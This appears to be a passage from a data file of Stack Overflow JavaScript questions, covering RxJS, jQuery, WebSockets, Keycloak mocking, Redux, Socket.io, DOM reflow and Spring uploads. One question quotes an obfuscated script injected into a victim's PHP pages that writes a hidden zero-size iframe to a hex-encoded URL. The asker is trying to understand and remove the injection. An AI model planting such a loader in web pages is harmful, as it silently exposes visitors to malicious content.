'error : empty input ' but it gets overridden by the returning observable . So I was wondering if there was a way to disregard all observables if the text.length is 0 , but also re-subscribe when the text length is n't zero.I 've thought about unsubscribe but do n't know where to fit it in to try . var suggestions = Rx.Observable.fromEvent ( textInput , 'keyup ' ) .pluck ( 'target ' , 'value ' ) .filter ( ( text ) = > { text = text.trim ( ) ; if ( ! text.length ) // empty input field { this.username_validation_display ( `` empty '' ) ; } else if ( ! /^\w { 1,20 } $ /.test ( text ) ) { this.username_validation_display ( `` invalid '' ) ; return false ; } return text.length > 0 ; } ) .debounceTime ( 300 ) .distinctUntilChanged ( ) .switchMap ( term = > { return $ .ajax ( { type : `` post '' , url : `` src/php/search.php '' , data : { username : term , type : `` username '' } } ) .promise ( ) ; } ) ; suggestions.subscribe ( ( r ) = > { let j = JSON.parse ( r ) ; if ( j.length ) { this.username_validation_display ( `` taken '' ) ; } else { this.username_validation_display ( `` valid '' ) ; } } , function ( e ) { console.log ( e ) ; } ) ;",rxjs - Discard future returning observables JS : I have this piece of javascript code that I am trying to understandSo what does > > > mean ? And thanks in advance ... this is my first question on SO return ( n > > > 0 ) * 2.34e10 ;,What does ' > > > ' mean in javascript ? "JS : I thought I understood the chaining power of jQuery , but now I 'm a little confused.Using the example of fading out a DIV , and then removing it : By jQuery chaining logic , I should be able to do : But instead I have to do this : Why is that ? Thanks ! $ ( this ) .parent ( ) .fadeOut ( 500 ) .remove ( ) ; $ ( this ) .parent ( ) .fadeOut ( 500 , function ( ) { $ ( this ) .remove ( ) ; } ) ;",simple jQuery Chaining insight "JS : We are trying to upload an image to our site.We click on `` Upload Image '' button.Then it displays pop up box.Then we click on Upload New image buttonAfter that , we will select image from computer & displaying message Image uploadedInstead of message `` Image uploaded '' , i want to display preview of Uploaded image as like this Jsfiddlecode to display message `` Image uploaded '' jsI did below changes for above code to display `` Image Preview '' instead of message . Now Image preview is not displaying after we upload image . Instead its displaying like below image before we uploading an image in site.Js < input type= '' file '' id= '' add_image_ { { rand } } '' class= '' newcustomimage '' name= '' new_image '' value= '' '' / > jQuery ( document ) .ready ( function ( ) { jQuery ( 'body ' ) .delegate ( '.newcustomimage ' , 'change ' , function ( ) { if ( jQuery ( this ) .val ( ) ) { jQuery ( this ) .parent ( ) .parent ( ) .append ( ' < div id= '' add_image_2508269_success '' class= '' success-message validation-advice '' > Image Uploaded. < /div > ' ) ; } } ) ; } ) ; < input type= '' file '' id= '' add_image_ { { rand } } '' class= '' newcustomimage '' name= '' new_image '' value= '' '' / > < img id= '' blah '' src= '' http : //example.com/media/custom_product_preview/quote '' / > jQuery ( document ) .ready ( function ( ) { jQuery ( 'body ' ) .delegate ( '.newcustomimage ' , 'change ' , function ( ) { if ( jQuery ( this ) .val ( ) ) { jQuery ( this ) .parent ( ) .parent ( ) .append ( ' < div id= '' add_image_2508269_success '' class= '' success-message validation-advice '' > Image Uploded. < /div > ' ) ; } } ) ; function readURL ( input ) { if ( input.files & & input.files [ 0 ] ) { var reader = new FileReader ( ) ; reader.onload = function ( e ) { $ ( ' # blah ' ) .attr ( 'src ' , e.target.result ) ; } reader.readAsDataURL ( input.files [ 0 ] ) ; } }",Display Image Preview instead of text "JS : Is there a way to create a websocket without connecting to it right away ? So far I thinkcreates and then connects right away.I 'd like to create the socket , define the callbacks , and then connect once the user clicks a connect button.Thanks var ws = new WebSocket ( `` ws : //ws.my.url.com '' ) ;",Create websocket without connecting JS : In the following codethe part ' $ active.next ( ) .length ' does n't seem to compare anything and I do n't understand how the condition is determined to be True or False . Or is it saying that : if the various $ next is equal to $ active.next ( ) .length then the condition is true ? var $ next = $ active.next ( ) .length ? $ active.next ( ) : $ ( ' # slideshow IMG : first ' ) ;,Why is there no comparison statement in this javascript 'If ... Else ... ' statement "JS : My company uses Keycloak for authentication connected with LDAP and returning a user object filled with corporative data.Yet in this period we are all working from home and in my daily work having to authenticate in my corporative server every time I reload the app , has proven to be an expensive overhead . Especially with intermittent internet connections . How can I fake the Keycloak call and make keycloak.protect ( ) work as it has succeeded ? I can install a Keyclock server in my machine , but I 'd rather not do that because it would be another server running in it besides , vagrant VM , Postgres server , be server , and all the other things I leave open.It would be best to make a mock call and return a fixed hard-coded object . My project 's app-init.ts is this : I just need one fixed logged user . But it has to return some fixed customized data with it . Something like this : EDITI tried to look at the idea of @ BojanKogoj but AFAIU from Angular Interceptor page and other examples and tutorials , it has to be injected in a component . Keycloak initialization is called on app initialization , not in a component . Also Keycloak 's return is not the direct return of init ( ) method . It passes through other objects in the .getKeycloakInstance ( ) .loadUserInfo ( ) .success ( ) sequence.Or maybe it 's just me that did n't fully understand it . If anyone can come with an example of an interceptor that can intercept the call and return the correct result , that could be a possibility.Edit2Just to complement that what I need is for the whole keycloak 's system to work . Please notice that the ( user : KeycloakUser ) = > { function is passed to success method of keycloak 's internal system . As I said above , routes have a keycloak.protect ( ) that must work . So it 's not just a simple case of returning a promise with a user . The whole .getKeycloakInstance ( ) .loadUserInfo ( ) .success ( ) chain has to be mocked . Or at least that 's how I understand it.I included an answer with the solution I made based on @ yurzui 's answerWill wait a couple of days to award the bounty to see if someone can came up with an even better solution ( which I doubt ) . import { KeycloakService } from 'keycloak-angular ' ; import { KeycloakUser } from './shared/models/keycloakUser ' ; < ... > export function initializer ( keycloak : KeycloakService , < ... > ) : ( ) = > Promise < any > { return ( ) : Promise < any > = > { return new Promise ( async ( res , rej ) = > { < ... > await keycloak.init ( { config : environment.keycloakConfig , initOptions : { onLoad : 'login-required ' , // onLoad : 'check-sso ' , checkLoginIframe : false } , bearerExcludedUrls : [ ] , loadUserProfileAtStartUp : false } ) .then ( ( authenticated : boolean ) = > { if ( ! authenticated ) return ; keycloak.getKeycloakInstance ( ) .loadUserInfo ( ) .success ( async ( user : KeycloakUser ) = > { // ... // load authenticated user data // ... } ) } ) .catch ( ( err : any ) = > rej ( err ) ) ; res ( ) ; } ) ; } ; { username : '111111111-11 ' , name : 'Whatever Something de Paula ' , email : 'whatever @ gmail.com ' , department : 'sales ' , employee_number : 7777777 }",How can I fake keycloack call to use in local development ? "JS : I have a button that iterates through an array on click and displays the contents of the array . When I get to the end of the array , I would like to set the counter back to the beginning . Here is my code so far : HTML : JavaScript : working demo : http : //jsfiddle.net/nTmu7/2/ < div id= '' likes '' > < span class= '' figure '' > < /span > < /div > < button type= '' button '' id= '' like '' > Like < /button > var clicks = 0 ; $ ( `` # like '' ) .click ( function ( ) { clicks++ ; $ ( '.figure ' ) .html ( clicks ) ; } ) ;",How do I reset my counter when it gets to the end of my array ? "JS : I was reading a Execution Context in JavaScript article , and I undoubtedly understand what is execution context in JavaScript.Also I read about Arrow Functions and its properties , But a question arose for me : Where is an Arrow function execution context ? function Foo ( ) { // Execution context of Foo function is here , between curly braces } const ArrowFoo = ( ) = > { // Where is ArrowFoo function execution context ? // Is here ? or the upper block scope ? // Or global scope ? }",Where is an Arrow function execution context ? "JS : My question is formed by two parts : How to select the next element with the same class and hide the previous one ? How can I add in each input hidden value , the value of button that is pressed ? Let 's say I press the button with class 'no ' . I want the 'no ' to go in it 's input hidden value of the question . How to do that ? Thank you so much . Any kind of help would be kindly appreciated.This is what I have so far : HTML : $ ( '.answer_buttons a ' ) .on ( 'click ' , function ( e ) { e.preventDefault ( ) ; $ ( '.selected ' ) .removeClass ( 'selected ' ) .hide ( ) .next ( ) .show ( ) .addClass ( 'selected ' ) ; $ .ajax ( { type : `` POST '' , url : `` , data : { } , success : function ( msj ) { //alert ( 'test ' ) ; //console.log ( msj ) ; } } ) ; } ) ; < form action= '' '' method= '' post '' > < input name= '' intr1 '' value= '' '' type= '' hidden '' > < p class= '' question selected '' id= '' intreb_1 '' > Intrebarea 1 ? < /p > < input name= '' intr2 '' value= '' '' type= '' hidden '' > < p class= '' question `` id= '' intreb_2 '' > Intrebarea 2 ? < /p > < input name= '' intr3 '' value= '' '' type= '' hidden '' > < p class= '' question `` id= '' intreb_3 '' > Intrebarea 3 ? < /p > < input name= '' intr4 '' value= '' '' type= '' hidden '' > < p class= '' question `` id= '' intreb_4 '' > Intrebarea 4 ? < /p > < input name= '' intr5 '' value= '' '' type= '' hidden '' > < p class= '' question `` id= '' intreb_5 '' > Intrebarea 5 ? < /p > < div class= '' answer_buttons '' > < a class= '' nu '' href= '' '' > < /a > < a class= '' da '' href= '' '' > < /a > < /div > < /form >",How to select the next element with same class ? "JS : I 'm trying to pass a JS object ( map ) to a C++ member function with a signature by usingThe method is called ( detected via breakpoint ) , but the passed context parameter is NULL . Since the documentation mentions that JS objects will be passed as QVariantMap , I 've tried using the signaturebut this failed during MOC . Usingcauses the method to not be found at runtime by QML ( error message is `` Unknown method parameter type : QVariantMap & '' ) .The documentation only has an example of passing a QVariantMap from C++ to QML , not in the other direction.Using a public slot instead of a Q_INVOKABLE shows exactly the same behavior and errors . Q_INVOKABLE virtual bool generate ( QObject* context ) ; a.generate ( { foo : `` bar '' } ) ; Q_INVOKABLE virtual bool generate ( QVariantMap* context ) ; Q_INVOKABLE virtual bool generate ( QVariantMap & context ) ;",QML : passing JS object to C++ member function JS : Is there a way with react-select v2 to search for multiple values at once ? Like I could have my user paste in a list of comma or space separated values and items matching those results would display in the dropdown.Example react-select ( we call them item pickers ) : onChange code : < StyledFormItemPicker className= '' emailPicker '' filterKeys= { [ 'label ' ] } label= '' email picker '' value= { emailPickerValue } onChange= { value = > onEmailPickerChange ( value ) } items= { users } isMulti= { true } / > // allow user to pass in comma separated list to searchexport const onEmailPickerChange = props = > event = > { event.persist ( ) ; // split event ( value ) on space or comma // push to an array // set that array of strings as the value and see all results ? } ;,React-Select v2 comma separated search "JS : I learned react and Redux at the same time and went `` all in '' on Redux ; basically all state is stored in Redux . And I followed the standard allIds , byId state shape pattern as detailed here . My app is very data-centric , it talks to an API , and does alot of CRUD type actions - fetchAll , fetchById , add , update , delete . The API communication is segregated into a `` service layer '' module that is its own npm package . All calls to this service layer are in the Redux actions , using redux-thunk.I 've realized there is no need to put most everything in Redux , the data is really needed on a specific component , for example . And I would love to simplify this architecture.So I began to refactor into a custom hook instead . It seemed since my state shape was more of an object rather than scalar , I should use useReducer rather than useState ... When I got to setting the state in the reducer for the update action , I realized it would be easier if I used `` allIds '' and `` byId '' pattern . And at this point I thought - how is this any different than using Redux ? It is going to end up looking like almost the exact same code , and I 'm losing some power of selectors , but removing the complexity of redux-thunks . And my current redux actions include specific use case actions ( special save for item type X , for ex . ) so I 'd need to find a place for those.My question is - is there any reason to refactor this to a hook using local state ? // reducer// -- -- -- -- -- -- -- -- -- -- -- -- - const initialState = { adding : false , updating : false , deleting : false , error : null , items : null } ; const reducer = ( state , action ) = > { // implementation omitted for brevity . . . } const useItemsApi = ( ) = > { const [ state , dispatch ] = useReducer ( reducer , initialState ) ; // wrapped in useCallback because called in component 's useEffect const fetchItems = useCallback ( async ( options ) = > { try { const resp = apiService.fetchItems ( options ) ; } catch ( err ) { if ( err.status === 401 ) // send to login screen else dispatch ( { type : 'error ' , payload : err } ) ; } } , [ options ] ) ; // addItem , updateItem , deleteItem , etc ... const actions = { fetchItems , updateItem , addItem , deleteItem } ; return [ state , actions ] ; } ; // component// -- -- -- -- -- -- -- -- -- -- -- -- - const component = ( props ) = > { const [ state , actions ] = useItemsApi ( ) ; const { fetchItems , updateItem , addItem , deleteItem } = actions ; useEffect ( ( ) = > { fetchItems ( ) } , fetchItems ) ; // omitted for brevity ... }",Redux vs custom hook "JS : I have a simple ajax call like this : It is part of an tb autocomplete that does not work on only one view . The reason it does not work is that instead of json , it makes jsonp request ( by sniffing I saw that it calls passed url with ? callback=jQueryxxxxxxxxx ) , and success function is never called because jquery packs it into anonymous function whose name is passed in callback argument , and server returns standard json ( I do n't want to use jsonp as it is POST request and NOT cross-domain request ) . I checked , both current view url and this u for ajax url argument are on http : //localhost:8080/myapp/areax/ ... , so I do n't see why jQuery makes JSONP request here.EDIT : View on which this does not work has url request is made is like this : http : //hostname:8080/AreaName/Report/ViewReportand u parameter of ajax is like /AreaName/MyAutoComplete/Search , so complete url to which autocomplete is made is likehttp : //hostname:8080/AreaName/MyAutoComplete/Search ? callback=jQuery151013129048690121925_1327065146844Server 's response looks like this : I know it is not jsonp , for that it should beBut I want to make normal json request , not jsonp.UPDATEWeirdest thing of all ( I 'm starting to think it is a bug in jQUery v1.5.1 which is used on project ) is that when I remove dataType : `` json '' , it makes a normal json request : ) So , instead of how to make json request , now I will accept an explanation to why this works as expected ( and the one with dataType : '' json '' does not ) : $ .ajax ( { url : u , type : `` POST '' , dataType : `` json '' , data : data , success : function ( d ) { response ( $ .map ( d , function ( o ) { return { label : o.Text , value : o.Text , id : o.Id } } ) ) ; } } ) ; [ { `` Id '' :2 , '' Text '' : '' 001 '' } , { `` Id '' :7 , '' Text '' : '' 002 '' } ] < script > jQuery151013129048690121925_1327065146844 ( [ { `` Id '' :2 , '' Text '' : '' 001 '' } , { `` Id '' :7 , '' Text '' : '' 002 '' } ] ) ; < /script > $ .ajax ( { url : u , type : `` POST '' , data : data , success : function ( d ) { response ( $ .map ( d , function ( o ) { return { label : o.Text , value : o.Text , id : o.Id } } ) ) ; } } ) ;",jQuery.ajax returns jsonp instead of json JS : What is the logic of bitwise operators on undefined ? ? ? I can see some sense in NaN . Because undefined -2 is really 'not a number ' . But I do not follow any logic on bitwise operators and undefined . var x ; console.log ( x ) ; // undefinedconsole.log ( x^7 ) ; // 7console.log ( 7^x ) ; // 7console.log ( x|7 ) ; // 7console.log ( 7|x ) ; // 7console.log ( 7 & x ) ; // 0console.log ( x & 7 ) ; // 0console.log ( ~x ) ; // -1console.log ( x*2 ) ; // NaNconsole.log ( x/2 ) ; // NaNconsole.log ( x+2 ) ; // NaNconsole.log ( x-2 ) ; // NaN,JavaScript bitwise undefined pitfalls ? "JS : Javascript 's array iteration functions ( forEach , every , some etc . ) allow you to pass three arguments : the current item , the current index and the array being operated on.My question is : what benefits are there to operating on the array as an argument , vs. accessing it via the closure ? Why should I use this : Instead of this : myArray.forEach ( function ( item , i , arr ) { doSomething ( arr ) ; } ) ; myArray.forEach ( function ( item , i ) { doSomething ( myArray ) ; } ) ;",Why provide an array argument in Javascript 's array.forEach callback ? "JS : I want to be able to pass either a string literal , or a javascript object , as argument to a function , and take different actions depending on whether it 's a string or an object . How do I determine which is true ? To be specific , I want to iterate over the properties of an object , and do some parsing if a property is a string , but nest recursively if the property is an object . I 've figured out how to use $ .each ( ) to iterate over the properties of the object , but if I just do this with the string , it treates the string as an array of letters rather than as a single thing . Can I get around this some other way ? 'this is a string ' { one : 'this ' , two : 'is ' , three : ' a ' , four : 'string ' }",Determining if a Javascript object is a `` complex '' object or just a string "JS : When I attempt to use Object destructuring with ev.preventDefault ( ) , I receive the following error in Chrome : Uncaught TypeError : Illegal invocationHowever , when I use ev.preventDefault ( ) without destructuring , it works fine . Code that reproduces this issue is shown below.Any idea why this is happening ? Or how I can use Object destructuring with the Event Object ? const button = document.getElementById ( ` test-button ` ) ; button.onclick = ( { preventDefault } ) = > { preventDefault ( ) ; } ; < button id=test-button type=button > Click me to see the error < /button >",destructing ev.preventDefault ( ) "JS : I have a website , and I just discovered that somehow someone injected JavaScript on my page . How can I figure out what it does and how they did it ? Which I 'm not sure how got there . Anyone know how it got there ? and what I can do to remove it ? < script > var x = unescape ( `` % 68 % ( **** some other hex characters here**** % 74 % 2e % 63 % 6e % 2f % 76 % 69 % 64 '' ) ; document.write ( `` < i '' + '' fr '' + '' am '' + '' e s '' + '' r '' + '' c=\ '' '' +x+ '' /ind '' + '' e '' + '' x.p '' + '' hp\ '' w '' + '' id '' + '' th=\ '' 0\ '' he '' + '' i '' + '' ght=\ '' 0\ '' fr '' + '' a '' + '' m '' + '' ebor '' + '' de '' + '' r=\ '' 0\ '' > < `` + '' /ifra '' + '' m '' + '' e > '' ) ; < /script >",JavaScript being injected in my PHP Pages "JS : My console.log on line 7 prints out fine.host.jsBut I get this crash in my server after creating that object and emitting : Why is this crashing ? base.js has no requires.Stacktrace : server.js , crashes onsocket.emit ( `` game.things '' , game.things ) ; base.js `` use strict '' ; var engine = require ( './engine.js ' ) ; var base = require ( './base.js ' ) ; var player = new base.Avatar ( ) ; console.log ( player.x ) ; class PillarGame extends engine.ServerGame { connectPlayer ( socket ) { var player = new base.Avatar ( ) ; this.add ( 'players ' , player ) ; console.log ( `` added player '' ) ; //announce } } module.exports = { 'HostedGame ' : PillarGame } ; if ( obj.hasOwnProperty ( key ) & & _hasBinary ( obj [ key ] ) ) { ^RangeError : Maximum call stack size exceeded at Object.hasOwnProperty ( native ) listeningconnectedadded player/Users/quantum/code/online/node_modules/socket.io/node_modules/has-binary-data/index.js:0 ( function ( exports , require , module , __filename , __dirname ) { /*RangeError : Maximum call stack size exceeded at _hasBinary ( /Users/quantum/code/online/node_modules/socket.io/node_modules/has-binary-data/index.js:24:22 ) at _hasBinary ( /Users/quantum/code/online/node_modules/socket.io/node_modules/has-binary-data/index.js:37:15 ) at _hasBinary ( /Users/quantum/code/online/node_modules/socket.io/node_modules/has-binary-data/index.js:47:40 ) at _hasBinary ( /Users/quantum/code/online/node_modules/socket.io/node_modules/has-binary-data/index.js:47:40 ) at _hasBinary ( /Users/quantum/code/online/node_modules/socket.io/node_modules/has-binary-data/index.js:47:40 ) at _hasBinary ( /Users/quantum/code/online/node_modules/socket.io/node_modules/has-binary-data/index.js:37:15 ) at _hasBinary ( /Users/quantum/code/online/node_modules/socket.io/node_modules/has-binary-data/index.js:47:40 ) at _hasBinary ( /Users/quantum/code/online/node_modules/socket.io/node_modules/has-binary-data/index.js:47:40 ) at _hasBinary ( /Users/quantum/code/online/node_modules/socket.io/node_modules/has-binary-data/index.js:47:40 ) at _hasBinary ( /Users/quantum/code/online/node_modules/socket.io/node_modules/has-binary-data/index.js:37:15 ) var express = require ( 'express ' ) ; var path = require ( 'path ' ) ; var app = express ( ) ; var server = require ( 'http ' ) .createServer ( app ) ; var io = require ( 'socket.io ' ) ( server ) ; var logic = require ( './logic ' ) ; var hostedGame = require ( './host ' ) ; var game = new hostedGame.HostedGame ( { 'sockets ' : io.sockets } ) ; app.use ( express.static ( path.join ( __dirname , 'public ' ) ) ) ; server.listen ( 3000 , function ( ) { console.log ( 'listening ' ) ; } ) ; io.on ( 'connection ' , function ( socket ) { console.log ( 'connected ' ) ; //extrac game.connectPlayer ( socket ) ; //console.log ( `` game.things [ 'players ' ] '' + game.things [ 'players ' ] ) ; ; socket.emit ( `` game.things '' , game.things ) ; // socket.on ( 'input ' , function ( data ) { // game.input ( socket , data ) ; // } ) ; } ) ; var loopAsync = function ( ) { setTimeout ( loop , 10 ) ; //setImmediate ( loop ) ; } var now = Date.now ( ) ; var last = now ; var dt = 0.00 ; var rate = 10 ; function loop ( ) { now = Date.now ( ) ; var delta = now - last ; last = now ; dt = dt + delta ; if ( dt < rate ) { loopAsync ( ) ; return ; } else { dt -= rate ; //if dt still > rate , repeat the following while true var updates = game.loop ( ) ; //emit things io.sockets.emit ( 'player-positions ' , logic.players ) ; //io.to specific player loopAsync ( ) ; } } loopAsync ( ) ; `` use strict '' ; class Component { defaultMaxCharge ( ) { return [ 0 ] ; } constructor ( options ) { options = options || { } ; this.charge = [ 0 ] ; if ( options [ 'maxCharge ' ] ) { this.maxCharge = options [ 'maxCharge ' ] ; } else { this.maxCharge = this.defaultMaxCharge ( ) ; } } loop ( ) { } getValue ( name , hash ) { return hash ; } } class Looper extends Component { registrationNames ( ) { return [ 'loop ' ] ; } } class Mover extends Looper { loop ( ) { var velocity = this.thing.getValue ( 'velocity ' ) ; var speed = this.thing.getValue ( 'speed ' ) [ 'speed ' ] ; var total = Math.abs ( velocity.vx ) + Math.abs ( velocity.vy ) ; if ( total < = 0 ) { return ; } var xx = velocity.mx / total * this.speedMod ( ) ; var yy = velocity.my / total * this.speedMod ( ) ; this.thing.x = this.thing.x + xx * speed ; this.thing.y = this.thing.y + yy * speed ; this.thing.x += velocity.vx ; this.thing.y += velocity.vy ; //announce } } //input componentsclass XWalker extends Component { constructor ( options ) { super ( options ) ; this.vx = 0 ; } registrationNames ( ) { return [ 'input ' , 'velocity ' ] ; } getValue ( name , hash ) { if ( name == 'velocity ' ) { hash.vx = this.vx ; //times speed } return hash ; } processEvent ( name , eventer , hash ) { if ( name == 'input ' ) { if ( hash.left ) { this.vx = -1 ; } else if ( hash.right ) { this.vx = 1 ; } else { this.vx = 0 ; } } } } class YWalker extends Component { constructor ( options ) { super ( options ) ; this.vx = 0 ; } registrationNames ( ) { return [ 'input ' , 'velocity ' ] ; } getValue ( name , hash ) { if ( name == 'velocity ' ) { hash.vy = this.vy ; //times speed } return hash ; } processEvent ( name , eventer , hash ) { if ( name == 'input ' ) { if ( hash.up ) { this.vy = -1 ; } else if ( hash.down ) { this.vy = 1 ; } else { this.vy = 0 ; } } } } class Thing { spawnComponents ( options ) { return [ ] ; } installComponents ( options ) { this.componentRegistrations = { } ; this.components = [ ] ; var comps = this.spawnComponents ( options ) ; for ( var i = 0 ; i < comps.length ; i++ ) { var component = comps [ i ] ; component.thing = this ; this.registerComponent ( component ) ; this.components.push ( component ) ; } } registerComponent ( component ) { for ( var i = 0 ; i < component.registrationNames ( ) .length ; i++ ) { var eventName = component.registrationNames ( ) [ i ] ; if ( ! this.componentRegistrations [ eventName ] ) { this.componentRegistrations [ eventName ] = [ ] ; } this.componentRegistrations [ eventName ] .push ( component ) ; } } getValue ( name ) { var registered = this.componentRegistrations [ name ] ; if ( registered ) { var valueHash = { } ; for ( var i = 0 ; i < registered.length ; i++ ) { var component = registered [ i ] ; valueHash = component.getValue ( name , valueHash ) ; if ( valueHash.stop ) { return valueHash ; } } return valueHash ; } } processEvent ( name , eventer , hash ) { var registered = this.componentRegistrations [ name ] ; if ( registered ) { for ( var i = 0 ; i < registered.length ; i++ ) { var component = registered [ i ] ; component.processEvent ( name , eventer , hash ) ; } } } constructor ( options ) { if ( options & & options [ 'position ' ] ) { this.x = options [ 'position ' ] .x * this.canvas.width ; this.y = options [ 'position ' ] .y * this.canvas.height ; } else { this.x = 2.0 ; this.y = 2.0 ; } this.installComponents ( options ) ; this.active = true ; } loop ( ) { for ( var i = 0 ; i < this.components.length ; i++ ) { var component = this.components [ i ] ; component.loop ( ) ; } } afterLoop ( ) { } position ( ) { return { ' x ' : this.x , ' y ' : this.y } ; } } class Avatar extends Thing { spawnComponents ( options ) { return [ new Mover ( ) , new XWalker ( ) , new YWalker ( ) ] ; } } module.exports = { 'Component ' : Component , 'Thing ' : Thing , 'Mover ' : Mover , 'Looper ' : Looper , 'XWalker ' : XWalker , 'YWalker ' : YWalker , 'Avatar ' : Avatar } ;",Maximum call stack exceeded when instantiating class inside of a module "JS : First post but thanks everyone for all the info ! On to the issue . I have some code in which I am trying to iterate over a JSON file and execute an HTTP Get Request on each object in the array . The issue seems to arise in that when I am executing the http get request that it does not do so in order nor does it complete . It hangs up after about 6-9 calls against my API.Sample JSON : Iterating over the JSON : Copy of the function I am executing on each loop for the API call . I have a callback set but I do n't think I may have set this up properly : Sample of my console log where it hangs up : Anything you think I can improve on in the code that would be great.. Still learning everyday on Node ! [ { `` Name '' : `` ActClgStpt '' , `` Address '' : 326 , `` Slot '' : 1 } , { `` Name '' : `` ActHtgStpt '' , `` Address '' : 324 , `` Slot '' : 1 } , { `` Name '' : `` AdvanceCool '' , `` Address '' : 21 , `` Slot '' : 1 } ] sedona.jsonInputAddress ( 'Unit1GWRenton ' , logMe ) ; function logMe ( ) { for ( var i in config ) { var name = config [ i ] .Name ; var address = config [ i ] .Address ; var slot = config [ i ] .Slot ; console.log ( name + `` `` + address + `` `` + slot ) ; sedona.collectValues ( `` 192.168.101.14 '' , 2001 , config [ i ] .Name , config [ i ] .Address , config [ i ] .Slot , function ( ) { console.log ( `` Done '' ) } ) } } collectValues : function ( site , port , name , address , slot , callback ) { /* Build Scrape Constructor */ var url = 'http : // ' + ( site ) + ' : ' + ( port ) + '/twave/app/ ' + ( address ) ; /* Slice out Unit # */ unitNumber = port.toString ( ) .slice ( 2 , 4 ) ; /* Create slotid */ var slotmaker = `` slot '' + ( slot ) ; /* Get ISO Timestamp */ var dt = new Date ( ) ; var isoDate = dt.toISOString ( ) ; isoTime = isoDate.slice ( 0,19 ) .replace ( 'T ' , ' ' ) .concat ( '.000000+00:00 ' ) ; /* Make API Call */ request.get ( { agent : false , url : url , json : true } , function response ( error , response , body ) { if ( ! error & & response.statusCode === 200 ) { // Grab Point Name pointname = name ; // Grab Point Value var value = body.slots ; var slot = value [ slotmaker ] ; slotvalue = slot.value ; // Testing Logs console.log ( isoTime + `` `` +pointname + `` `` + slotvalue ) ; callback ( ) } } ) ; } ActClgStpt 326 1ActHtgStpt 324 1AdvanceCool 21 1AdvanceDewEnable 462 1CO2Sensor 455 1CO2Stpt 257 1CTRange 14 6ComfortStatus 328 1CompAllow 167 1Cool1Spd 83 1Cool2Spd 84 1CoolCall1 314 2CoolCall2 315 2CoolCmd1 109 1CoolCmd2 110 1DCVMaxVolume 260 2DCVResponse 502 2SaTemp 423 1DaTempLimit 193 2Damper 387 1DriveFaultCode 123 4ESMEconMin 175 1ESMMode 8 1EconDewEnable 464 1EconMode 96 1EconTest 496 1FanCall 78 1FanPower 491 1FanSpeed 492 1FanStatus 135 1FullSpd 38 1Heat1Spd 31 1Heat2Spd 32 1HeatCall1 316 2HeatCall2 317 2HeatCmd1 69 1HeatCmd2 70 1HighAlarmStpt 62 1HighAlertStpt 61 1LowAlarmStpt 59 1LowAlertStpt 58 1OSAVolume 493 1OaTemp 457 1OccClgStpt 247 1OccHtgStpt 246 1Occupied 313 1OptimumStartCommand 233 1OverrideTime 348 1PBStatus 221 1PowerExCmd 107 1PowerExStpt 188 1RaTemp 456 1ResetDrive 212 1ServiceSwitch 361 5SoftSwitch 310 4SpaceTemp 490 1StdEconMin 176 1StdEconStpt 307 1StptAdj 291 1StptAdjRange 269 1UnitAmps 454 1UnitHealth 276 2UnoccClgStpt 268 1UnoccHtgStpt 258 1VentMode 400 2VentSpd 30 12016-01-04 16:40:15.000000+00:00 ActClgStpt 73.000000Done2016-01-04 16:40:15.000000+00:00 UnitAmps 5.406000Done2016-01-04 16:40:15.000000+00:00 CoolCmd2 falseDone2016-01-04 16:40:15.000000+00:00 ActHtgStpt 68.000000Done",NodeJS HTTP Requests not executing in order "JS : the following code illustrate the problem , changing the order of Read/Write causes a big difference in execution time ( Tested using Chrome , Firefox and IE ) : Here 's a JSFiddle for the complete example http : //jsfiddle.net/Dq3KZ/2/ .My results for n=100 : Slow version : ~35msFast version : ~2msfor n=1000 : Slow version : ~2000msFast version : ~25msI think this is related with the number of browser reflow in each case . In the slow scenario , a reflow happens for each write operation . However , in the fast scenario , the reflow occurs only once at the end . But I 'm not sure and I do n't understand why it does work that way ( when the operations are independent ) .Edit : I used InnerText property instead of clientWidth and Style.Width , I got the same behavior when using Google Chrome ( http : //jsfiddle.net/pindexis/CW2BF/7/ ) . However , when InnerHTML is used , there 's almost no difference ( http : //jsfiddle.net/pindexis/8E5Yj/ ) . Edit2 : I have opened a discussion about the innerHTML/innerText issue for those interested : why does replacing InnerHTML with innerText causes > 15X drop in performance // read- > write- > read- > write ... function clearSlow ( divs ) { Array.prototype.forEach.call ( divs , function ( div ) { contents.push ( div.clientWidth ) ; div.style.width = `` 10px '' ; } ) ; } // read- > read- > ... - > write- > write ... function clearFast ( divs ) { Array.prototype.forEach.call ( divs , function ( div ) { contents.push ( div.clientWidth ) ; } ) ; Array.prototype.forEach.call ( divs , function ( div ) { div.style.width = `` 10px '' ; } ) ; }",why a tiny reordering of DOM Read/Write operations causes a huge performance difference "JS : Is this valid Javascript syntax ? What does it do ? See https : //github.com/LearnBoost/stylus/blob/master/lib/parser.js.Thank you ! Parser.prototype = { // ... get currentState ( ) { return this.state [ this.state.length - 1 ] ; } , // ... }",Javascript Prototype Syntax "JS : I am adding date and image to the database . I want to add the date as the footer to the uploaded image.HTML for image uploadHTML for datepickerScript for Upload < div class= '' form-group '' > @ Html.Label ( `` Photo '' , htmlAttributes : new { @ class = `` control-label '' } ) < div class= '' col-md-10 '' > < img id= '' DocImg '' src= '' ~/Upload/DoctorImage/doc-default.png '' style= '' cursor : pointer ; '' accesskeyclass= '' edtImg '' width= '' 100 '' height= '' 100 '' / > < input type= '' file '' id= '' fileUpload '' name= '' Photo '' accept= '' image/* '' / > < /div > < /div > < div class= '' col-6 '' > @ Html.ValidationSummary ( true , `` '' , new { @ class = `` text-danger '' } ) < div class= '' form-group '' > @ Html.Label ( `` Joining Date '' , htmlAttributes : new { @ class = `` control-label col-md-2 '' , @ required = `` required '' } ) < div class= '' col-md-10 '' > @ ( Html.Kendo ( ) .DatePicker ( ) .Name ( `` JoiningDate '' ) .Value ( `` '' ) .HtmlAttributes ( new { style = `` width : 100 % '' , required = `` true '' } ) ) @ Html.ValidationMessageFor ( model = > model.JoiningDate , `` '' , new { @ class = `` text-danger '' } ) < /div > < /div > < /div > $ ( document ) .ready ( function ( ) { $ ( `` # fileUpload '' ) .hide ( ) ; } ) ; $ ( `` # DocImg '' ) .click ( function ( ) { $ ( `` # fileUpload '' ) .trigger ( 'click ' ) ; } ) ;",Add date on image while uploading in c # "JS : I am sending multiple files with formData like thisIn my Spring MVC ControllerMy conf : But i got a 400 Bad Request in the browser And in the IDE I got : and if i try @ RequestPart ( `` attachOs [ ] [ ] '' ) MultipartFile [ ] [ ] attachOs i got always a bad request with Required request part 'attachOs [ ] [ ] ' is not presentThe problem is obvious : spring is searching just for attachOs part ( @ RequestPart ( `` attachOs '' ) ) but i am sending attachOs [ 0 ] [ 0 ] , attachOs [ 0 ] [ 1 ] ... When i send just the formJson part without files or if i send just a single file @ RequestPart ( `` 